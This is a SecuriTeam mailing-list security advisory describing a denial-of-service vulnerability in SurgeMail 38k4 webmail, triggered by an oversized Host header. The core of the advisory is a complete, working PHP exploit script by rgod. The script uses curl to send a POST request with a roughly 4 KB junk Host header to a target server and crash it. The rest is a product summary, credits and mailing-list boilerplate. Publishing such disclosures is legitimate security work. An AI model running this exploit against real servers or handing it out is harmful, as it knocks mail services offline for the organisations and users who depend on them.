[EXPL] SurgeMail Webmail Host Header DoS

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SurgeMail Webmail Host Header DoS
------------------------------------------------------------------------


SUMMARY

 <http://netwinsite.com/surgemail/> SurgeMail Mail Server Software Suite 
"combines advanced features, high performance and ease of use. Ideal on 
Windows, UNIX ( Linux, Solaris etc.), Mac OSX, FreeBSD and others, this 
integrated email server is an Antispam Server, Antivirus Server, Webmail 
Server, Groupware Server, Blog Server and much more". A vulnerability in 
the way SurgeMail handles the Host field allows remote attackers to cause 
the product to crash.

DETAILS

Vulnerable Systems:
 * SurgeMail version 38k4

Exploit:
<?php
/*
  SurgeMail v.38k4 webmail Host header denial of service exploit
  tested against the windows version

  rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";;
$puf=str_repeat(0xff,0xfff);

        $header ="POST / HTTP/1.0\r\n";
        $header.="Host: $puf\r\n";
        $header.="Connection: Close\r\n\r\n";
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."\n";
        } else {
           curl_close($ch);
        }

?>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:retrog@alice.it> retrog.
The original article can be found at:  
<http://retrogod.altervista.org/rgod_surgemail_crash.html> 
http://retrogod.altervista.org/rgod_surgemail_crash.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.